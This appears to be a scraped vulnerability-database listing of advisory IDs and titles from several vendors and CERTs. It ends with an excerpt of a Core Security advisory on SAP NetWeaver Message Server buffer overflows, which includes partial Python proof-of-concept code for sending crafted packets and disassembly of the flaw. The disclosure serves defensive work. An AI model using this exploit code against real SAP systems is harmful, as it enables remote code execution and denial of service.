ncsc-2025-0029 Kwetsbaarheid verholpen in SonicWall SMA1000 Appliance 27 days ago 27 days ago
ncsc-2025-0028 Kwetsbaarheden verholpen in Oracle Analytics 28 days ago 28 days ago
ncsc-2025-0027 Kwetsbaarheden verholpen in Oracle Fusion Middleware 28 days ago 28 days ago
ncsc-2025-0026 Kwetsbaarheden verholpen in Oracle JD Edwards 28 days ago 28 days ago
ncsc-2025-0025 Kwetsbaarheden verholpen in Oracle Financial Services 28 days ago 28 days ago
ncsc-2025-0024 Kwetsbaarheden verholpen in Oracle MySQL 28 days ago 28 days ago
ncsc-2025-0023 Kwetsbaarheden verholpen in Oracle PeopleSoft 28 days ago 28 days ago
ncsc-2025-0022 Kwetsbaarheden verholpen in Oracle Enterprise Manager 28 days ago 28 days ago
ncsc-2025-0021 Kwetsbaarheden verholpen in Oracle Communications 28 days ago 28 days ago
ncsc-2025-0020 Kwetsbaarheden verholpen in Oracle Database producten 28 days ago 28 days ago
ncsc-2025-0005 Kwetsbaarheden verholpen in Ivanti Connect Secure en Policy Secure 1 month ago 1 month ago
ncsc-2025-0019 Kwetsbaarheden verholpen in Schneider Electric Modicon 1 month ago 1 month ago
ncsc-2025-0018 Kwetsbaarheden verholpen in Fortinet FortiSwitch, FortiManager, FortiAnalyzer, FortiOS en FortiProxy 1 month ago 1 month ago
ncsc-2025-0017 Kwetsbaarheden verholpen in Ivanti Endpoint Manager 1 month ago 1 month ago
ncsc-2025-0016 Kwetsbaarheden verholpen in Mozilla Firefox en Thunderbird 1 month ago 1 month ago
ncsc-2025-0015 Kwetsbaarheden verholpen in Rsync 1 month ago 1 month ago
ncsc-2025-0014 Kwetsbaarheid verholpen in Microsoft Dynamics Power Automate 1 month ago 1 month ago
ncsc-2025-0013 Kwetsbaarheden verholpen in Microsoft Azure 1 month ago 1 month ago
ncsc-2025-0012 Kwetsbaarheden verholpen in Microsoft Office 1 month ago 1 month ago
ncsc-2025-0011 Kwetsbaarheden verholpen in Microsoft Developer Tools 1 month ago 1 month ago
ncsc-2025-0010 Kwetsbaarheden verholpen in Microsoft Windows 1 month ago 1 month ago
ncsc-2025-0008 Kwetsbaarheden verholpen in Siemens producten 1 month ago 1 month ago
ncsc-2025-0007 Kwetsbaarheden verholpen in SAP producten 1 month ago 1 month ago
ncsc-2025-0006 Kwetsbaarheden verholpen in Juniper JunOS 1 month ago 1 month ago
NCSC-2025-0005 Kwetsbaarheden verholpen in Ivanti Connect Secure en Policy Secure 1 month ago 1 month ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
msrc_cve-2024-49115 Windows Remote Desktop Services Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49114 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49113 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49111 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49110 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49109 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49108 Windows Remote Desktop Services Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49107 WmsRepair Service Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49106 Windows Remote Desktop Services Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49105 Remote Desktop Client Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49104 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49103 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49102 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49101 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49099 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49098 Windows Wireless Wide Area Network Service (WwanSvc) Information Disclosure Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49097 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49096 Microsoft Message Queuing (MSMQ) Denial of Service Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49095 Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49094 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49093 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49092 Windows Mobile Broadband Driver Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49091 Windows Domain Name Service Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49090 Windows Common Log File System Driver Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49089 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49088 Windows Common Log File System Driver Elevation of Privilege Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49087 Windows Mobile Broadband Driver Information Disclosure Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49086 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49085 Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability 2 months ago 2 months ago
msrc_cve-2024-49084 Windows Kernel Elevation of Privilege Vulnerability 2 months ago 2 months ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
SSA-832273 SSA-832273: Multiple Vulnerabilities in Fortigate NGFW before V7.4.3 on RUGGEDCOM APE1808 devices 11 months ago 8 months ago
SSA-771940 SSA-771940: X_T File Parsing Vulnerabilities in Teamcenter Visualization and JT2Go 8 months ago 8 months ago
SSA-753746 SSA-753746: Denial of Service Vulnerabilities in SIMATIC WinCC Affecting Other SIMATIC Software Products 1 year ago 8 months ago
SSA-711309 SSA-711309: Denial of Service Vulnerability in the OPC UA Implementations of SIMATIC Products 1 year ago 8 months ago
SSA-690517 SSA-690517: Multiple Vulnerabilities in SCALANCE W700 802.11 AX Family 8 months ago 8 months ago
SSA-625862 SSA-625862: Multiple Vulnerabilities in Third-Party Components in SIMATIC CP 1542SP-1 and CP 1543SP-1 before V2.3 8 months ago 8 months ago
SSA-620338 SSA-620338: Buffer Overflow Vulnerability in SICAM AK3 / BC / TM 8 months ago 8 months ago
SSA-599968 SSA-599968: Denial-of-Service Vulnerability in Profinet Devices 3 years ago 8 months ago
SSA-566905 SSA-566905: Multiple Denial of Service Vulnerabilities in the Webserver of Industrial Products 1 year ago 8 months ago
SSA-540640 SSA-540640: Improper Privilege Management Vulnerability in Mendix Runtime 8 months ago 8 months ago
SSA-482757 SSA-482757: Missing Immutable Root of Trust in S7-1500 CPU devices 2 years ago 8 months ago
SSA-481506 SSA-481506: Information Disclosure Vulnerability in SIMATIC S7-200 SMART Devices 8 months ago 8 months ago
SSA-446448 SSA-446448: Denial of Service Vulnerability in PROFINET Stack Integrated on Interniche Stack 2 years ago 8 months ago
SSA-407785 SSA-407785: Multiple X_T File Parsing Vulnerabilities in Parasolid and Teamcenter Visualization 1 year ago 8 months ago
SSA-398330 SSA-398330: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP V3.1 1 year ago 8 months ago
SSA-353002 SSA-353002: Multiple Vulnerabilities in SCALANCE XB-200 / XC-200 / XP-200 / XF-200BA / XR-300WG Family 11 months ago 8 months ago
SSA-341067 SSA-341067: Multiple vulnerabilities in third-party components in ST7 ScadaConnect before V1.1 8 months ago 8 months ago
SSA-337522 SSA-337522: Multiple Vulnerabilities in TIM 1531 IRC before V2.4.8 8 months ago 8 months ago
SSA-319319 SSA-319319: Denial of Service Vulnerability in TIA Administrator 8 months ago 8 months ago
SSA-238730 SSA-238730: Out-of-Bounds Write Vulnerabilities in SITOP UPS1600 before V2.5.4 8 months ago 8 months ago
SSA-196737 SSA-196737: Multiple Vulnerabilities in SINEC Traffic Analyzer before V1.2 8 months ago 8 months ago
SSA-093430 SSA-093430: Multiple Vulnerabilities in SIMATIC RTLS Locating Manager before V3.0 9 months ago 8 months ago
SSA-035466 SSA-035466: Incorrect Permission Assignment in SICAM PAS/PQS 1 year ago 8 months ago
SSA-024584 SSA-024584: Authentication Bypass Vulnerability in PowerSys before V3.11 8 months ago 8 months ago
ssa-999588 SSA-999588: Multiple Vulnerabilities in User Management Component (UMC) before V2.11.2 1 year ago 9 months ago
ssa-976324 SSA-976324: Multiple IGS File Parsing Vulnerabilities in PS/IGES Parasolid Translator Component before V27.1.215 9 months ago 9 months ago
ssa-968170 SSA-968170: Remote Code Execution Vulnerability in SIMATIC STEP 7 V5.x and Derived Products 1 year ago 9 months ago
ssa-962515 SSA-962515: Out of Bounds Read Vulnerability in Industrial Products 9 months ago 9 months ago
ssa-953710 SSA-953710: Vulnerabilities in the Network Communication Stack in Desigo Fire Safety UL and Cerberus PRO UL Fire Protection Systems 9 months ago 9 months ago
ssa-935500 SSA-935500: Denial of Service Vulnerability in FTP Server of Nucleus RTOS based APOGEE, TALON and Desigo PXC/PXM Products 2 years ago 9 months ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
rhsa-2025:0649 Red Hat Security Advisory: OpenShift Container Platform 4.16.32 security and extras update 21 days ago 1 hour ago
rhsa-2025:0536 Red Hat Security Advisory: cert-manager Operator for Red Hat OpenShift 1.15.0 28 days ago 1 hour ago
rhsa-2025:1331 Red Hat Security Advisory: Gatekeeper v3.17.1 6 days ago 1 hour ago
rhsa-2025:0653 Red Hat Security Advisory: OpenShift Container Platform 4.17.14 security and extras update 22 days ago 1 hour ago
rhsa-2025:1050 Red Hat Security Advisory: Red Hat OpenShift Service Mesh Containers for 2.4.14 14 days ago 1 hour ago
rhsa-2025:0775 Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.3 Bug Fix Update 21 days ago 1 hour ago
rhsa-2025:0522 Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Jaeger) 3.4 release 28 days ago 1 hour ago
rhsa-2025:0364 Red Hat Security Advisory: OpenShift Container Platform 4.14.45 bug fix and security update 28 days ago 1 hour ago
rhsa-2025:0654 Red Hat Security Advisory: OpenShift Container Platform 4.17.14 bug fix and security update 22 days ago 1 hour ago
rhsa-2025:0445 Red Hat Security Advisory: Red Hat Trusted Profile Analyzer 1.2.2 29 days ago 1 hour ago
rhsa-2025:1051 Red Hat Security Advisory: Red Hat OpenShift Service Mesh Containers for 2.5.8 14 days ago 1 hour ago
rhsa-2025:0384 Red Hat Security Advisory: RHSA: Submariner 0.18.4 - bug and security fixes 1 month ago 1 hour ago
rhsa-2025:0778 Red Hat Security Advisory: Multicluster Engine for Kubernetes 2.6.5 security updates and bug fixes 21 days ago 1 hour ago
rhsa-2025:1128 Red Hat Security Advisory: OpenShift Container Platform 4.15.45 bug fix and security update 7 days ago 1 hour ago
rhsa-2025:0535 Red Hat Security Advisory: cert-manager Operator for Red Hat OpenShift 1.15.0 28 days ago 1 hour ago
rhsa-2025:0385 Red Hat Security Advisory: VolSync 0.11.1 for RHEL 9 1 month ago 1 hour ago
rhsa-2025:1123 Red Hat Security Advisory: OpenShift Container Platform 4.16.34 security and extras update 7 days ago 1 hour ago
rhsa-2025:1013 Red Hat Security Advisory: RHSA: Submariner 0.19.2 - bug fix and enhancement update 14 days ago 1 hour ago
rhsa-2025:0679 Red Hat Security Advisory: Red Hat Advanced Cluster Management 2.10.7 bug fixes and container updates 26 days ago 1 hour ago
rhsa-2025:0444 Red Hat Security Advisory: Red Hat Trusted Profile Analyzer 1.2.2 29 days ago 1 hour ago
rhsa-2025:0907 Red Hat Security Advisory: ACS 4.6.2 enhancement and security update 15 days ago 1 hour ago
rhsa-2025:0121 Red Hat Security Advisory: OpenShift Container Platform 4.15.43 bug fix and security update 1 month ago 1 hour ago
rhsa-2025:1120 Red Hat Security Advisory: OpenShift Container Platform 4.17.16 bug fix and security update 8 days ago 1 hour ago
rhsa-2025:0390 Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Tempo) 3.4 release 1 month ago 1 hour ago
rhsa-2025:0678 Red Hat Security Advisory: RHSA: Submariner 0.16.8 - bug and security fixes 26 days ago 1 hour ago
rhsa-2025:1119 Red Hat Security Advisory: OpenShift Container Platform 4.17.16 bug fix and security update 8 days ago 1 hour ago
rhsa-2025:0140 Red Hat Security Advisory: OpenShift Container Platform 4.16.30 bug fix and security update 1 month ago 1 hour ago
rhsa-2025:0892 Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.18.0 release 15 days ago 1 hour ago
rhsa-2025:0560 Red Hat Security Advisory: Red Hat Multicluster GlobalHub 1.2.1 bug fixes and container updates 28 days ago 1 hour ago
rhsa-2025:0576 Red Hat Security Advisory: Red Hat Advanced Cluster Management 2.9.6 bug fixes and container updates 28 days ago 1 hour ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
icsa-24-354-05 Tibbo AggreGate Network Manager 2 months ago 2 months ago
icsa-24-354-03 Delta Electronics DTM Soft 2 months ago 2 months ago
icsa-24-354-01 Hitachi Energy RTU500 series CMU 2 months ago 2 months ago
icsma-24-352-01 BD Diagnostic Solutions Products 2 months ago 2 months ago
icsa-24-352-03 Rockwell Automation PowerMonitor 1000 Remote 2 months ago 2 months ago
icsa-24-352-02 Hitachi Energy TropOS Devices Series 1400/2400/6400 2 months ago 2 months ago
icsa-24-352-01 ThreatQuotient ThreatQ Platform 2 months ago 2 months ago
icsa-24-354-04 Siemens User Management Component 2 months ago 2 months ago
icsa-24-345-05 Horner Automation Cscape 2 months ago 2 months ago
icsa-24-345-04 National Instruments LabVIEW 2 months ago 2 months ago
icsa-24-345-01 MOBATIME Network Master Clock - DTS 4801 2 months ago 2 months ago
icsa-24-338-01 Ruijie Reyee OS (Update A) 2 months ago 2 months ago
icsa-25-010-02 Schneider Electric Harmony HMI and Pro-Face HMI Products 2 months ago 2 months ago
icsa-25-010-01 Schneider Electric PowerChute Serial Shutdown 2 months ago 2 months ago
icsa-24-352-04 Schneider Electric Modicon 2 months ago 2 months ago
icsa-24-347-10 Siemens SENTRON Powercenter 1000  2 months ago 2 months ago
icsa-24-347-09 Siemens Teamcenter Visualization  2 months ago 2 months ago
icsa-24-347-08 Siemens COMOS  2 months ago 2 months ago
icsa-24-347-07 Siemens Solid Edge SE2024 2 months ago 2 months ago
icsa-24-347-06 Siemens Simcenter Femap 2 months ago 2 months ago
icsa-24-347-05 Siemens Engineering Platforms  2 months ago 2 months ago
icsa-24-347-04 Siemens Parasolid 2 months ago 2 months ago
icsa-24-347-03 Siemens RUGGEDCOM ROX II  2 months ago 2 months ago
icsa-24-347-02 Siemens Engineering Platforms  2 months ago 2 months ago
icsa-24-347-01 Siemens CPCI85 Central Processing/Communication  2 months ago 2 months ago
icsa-24-284-13 Siemens Tecnomatix Plant Simulation 4 months ago 2 months ago
icsa-24-284-12 Siemens Sentron Powercenter 1000 4 months ago 2 months ago
icsa-24-256-16 Siemens SICAM and SITIPE Products 5 months ago 2 months ago
icsa-24-193-11 Siemens RUGGEDCOM APE 1808 7 months ago 2 months ago
icsa-24-193-02 Siemens RUGGEDCOM APE 1808 7 months ago 2 months ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
cisco-sa-ise-multi-vuln-DBQdWRy Cisco Identity Services Engine Vulnerabilities 3 months ago 3 months ago
cisco-sa-ise-auth-bypass-bbrf7mke Cisco Identity Services Engine Authorization Bypass and Cross-Site Scripting Vulnerabilities 3 months ago 3 months ago
cisco-sa-ise-auth-bypass-BBRf7mkE Cisco Identity Services Engine Authorization Bypass and Cross-Site Scripting Vulnerabilities 3 months ago 3 months ago
cisco-sa-imp-inf-disc-cupkua5n Cisco Unified Communications Manager IM & Presence Service Information Disclosure Vulnerability 3 months ago 3 months ago
cisco-sa-imp-inf-disc-cUPKuA5n Cisco Unified Communications Manager IM & Presence Service Information Disclosure Vulnerability 3 months ago 3 months ago
cisco-sa-esa-wsa-sma-xss-zym3f49n Cisco Secure Email and Web Manager, Secure Email Gateway, and Secure Web Appliance Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-esa-wsa-sma-xss-zYm3f49n Cisco Secure Email and Web Manager, Secure Email Gateway, and Secure Web Appliance Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-epnmpi-sxss-yyf2zkxs Cisco Evolved Programmable Network Manager and Cisco Prime Infrastructure Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-epnmpi-sxss-yyf2zkXs Cisco Evolved Programmable Network Manager and Cisco Prime Infrastructure Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-ece-dos-oqb9ufev Cisco Enterprise Chat and Email Denial of Service Vulnerability 3 months ago 3 months ago
cisco-sa-ece-dos-Oqb9uFEv Cisco Enterprise Chat and Email Denial of Service Vulnerability 3 months ago 3 months ago
cisco-sa-cucm-xss-svckmmw Cisco Unified Communications Manager Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-cucm-xss-SVCkMMW Cisco Unified Communications Manager Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-cmm-info-disc-9zemahga Cisco Meeting Management Information Disclosure Vulnerability 3 months ago 3 months ago
cisco-sa-cmm-info-disc-9ZEMAhGA Cisco Meeting Management Information Disclosure Vulnerability 3 months ago 3 months ago
cisco-sa-ccmp-sxss-qbtdbzdd Cisco Unified Contact Center Management Portal Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-ccmp-sxss-qBTDBZDD Cisco Unified Contact Center Management Portal Stored Cross-Site Scripting Vulnerability 3 months ago 3 months ago
cisco-sa-backhaul-ap-cmdinj-r7e28ecs Cisco Unified Industrial Wireless Software for Ultra-Reliable Wireless Backhaul Access Point Command Injection Vulnerability 3 months ago 3 months ago
cisco-sa-backhaul-ap-cmdinj-R7E28Ecs Cisco Unified Industrial Wireless Software for Ultra-Reliable Wireless Backhaul Access Point Command Injection Vulnerability 3 months ago 3 months ago
cisco-sa-3550-acl-bypass-mhskzc2q Cisco Nexus 3550-F Switches Access Control List Programming Vulnerability 3 months ago 3 months ago
cisco-sa-3550-acl-bypass-mhskZc2q Cisco Nexus 3550-F Switches Access Control List Programming Vulnerability 3 months ago 3 months ago
cisco-sa-asaftd-acl-bypass-vvnlnkqf Cisco Adaptive Security Appliance and Firepower Threat Defense Software AnyConnect Access Control List Bypass Vulnerabilities 3 months ago 3 months ago
cisco-sa-asaftd-acl-bypass-VvnLNKqf Cisco Adaptive Security Appliance and Firepower Threat Defense Software AnyConnect Access Control List Bypass Vulnerabilities 3 months ago 3 months ago
cisco-sa-ata19x-multi-rdteqrsy Cisco ATA 190 Series Analog Telephone Adapter Firmware Vulnerabilities 4 months ago 3 months ago
cisco-sa-ata19x-multi-RDTEqRsy Cisco ATA 190 Series Analog Telephone Adapter Firmware Vulnerabilities 4 months ago 3 months ago
cisco-sa-snort-rf-bypass-oy8f3pnm Multiple Cisco Products Snort Rate Filter Bypass Vulnerability 3 months ago 3 months ago
cisco-sa-snort-rf-bypass-OY8f3pnM Multiple Cisco Products Snort Rate Filter Bypass Vulnerability 3 months ago 3 months ago
cisco-sa-snort-bypass-ptry37fx Cisco Firepower Threat Defense Software TCP Snort 3 Detection Engine Bypass Vulnerability 3 months ago 3 months ago
cisco-sa-snort-bypass-PTry37fX Cisco Firepower Threat Defense Software TCP Snort 3 Detection Engine Bypass Vulnerability 3 months ago 3 months ago
cisco-sa-sa-ftd-snort-fw-bcjtzpmu Cisco Firepower Threat Defense Software and Cisco FirePOWER Services TCP/IP Traffic with Snort 2 and Snort 3 Denial of Service Vulnerability 3 months ago 3 months ago
Vulnerabilities are sorted by update time (recent to old).
ID Description Published Updated
nn-2023:1-01 Authenticated SQL Injection on Alerts in Guardian/CMC before 22.5.2 1 year ago 1 year ago
nn-2022_2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 3 years ago 1 year ago
nn-2022_2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 3 years ago 1 year ago
nn-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 3 years ago 1 year ago
nn-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 3 years ago 1 year ago
nn-2021_2-01 Authenticated command path traversal on timezone settings in Guardian/CMC before 20.0.7.4 3 years ago 1 year ago
nn-2021_1-01 Authenticated command injection when changing date settings or hostname in Guardian/CMC before 20.0.7.4 3 years ago 1 year ago
nn-2021:2-01 Authenticated command path traversal on timezone settings in Guardian/CMC before 20.0.7.4 3 years ago 1 year ago
nn-2021:1-01 Authenticated command injection when changing date settings or hostname in Guardian/CMC before 20.0.7.4 3 years ago 1 year ago
nn-2020_3-01 Angular template injection on custom report name field 4 years ago 1 year ago
nn-2020_2-01 Cross-site request forgery attack on change password form 4 years ago 1 year ago
nn-2020:3-01 Angular template injection on custom report name field 4 years ago 1 year ago
nn-2020:2-01 Cross-site request forgery attack on change password form 4 years ago 1 year ago
nn-2019_2-01 CSV Injection on node label 5 years ago 1 year ago
nn-2019_1-01 Stored XSS in field name data model 5 years ago 1 year ago
nn-2019:2-01 CSV Injection on node label 5 years ago 1 year ago
nn-2019:1-01 Stored XSS in field name data model 5 years ago 1 year ago
NN-2023:9-01 Authenticated SQL Injection on Query functionality in Guardian/CMC before 22.6.3 and 23.1.0 1 year ago 1 year ago
NN-2023:8-01 Session Fixation in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:7-01 DoS via SAML configuration in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:6-01 Partial DoS on Reports section due to null report name in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:5-01 Information disclosure via the debug function in assertions in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:4-01 Stored Cross-Site Scripting (XSS) in Threat Intelligence rules in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:3-01 Authenticated Blind SQL Injection on alerts count in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:2-01 Authenticated Blind SQL Injection on sorting in Guardian/CMC before 22.6.2 1 year ago 1 year ago
NN-2023:11-01 SQL Injection on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 1 year ago 1 year ago
NN-2023:10-01 DoS on IDS parsing of malformed asset fields in Guardian/CMC >= 22.6.0 before 22.6.3 and 23.1.0 1 year ago 1 year ago
NN-2023:1-01 Authenticated SQL Injection on Alerts in Guardian/CMC before 22.5.2 1 year ago 1 year ago
NN-2022:2-02 Authenticated RCE on project configuration import in Guardian/CMC before 22.0.0 3 years ago 1 year ago
NN-2022:2-01 Authenticated RCE on logo report upload in Guardian/CMC before 22.0.0 3 years ago 1 year ago
Vulnerabilities are sorted by update time (recent to old).
ID Description
var-202001-0832 A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: 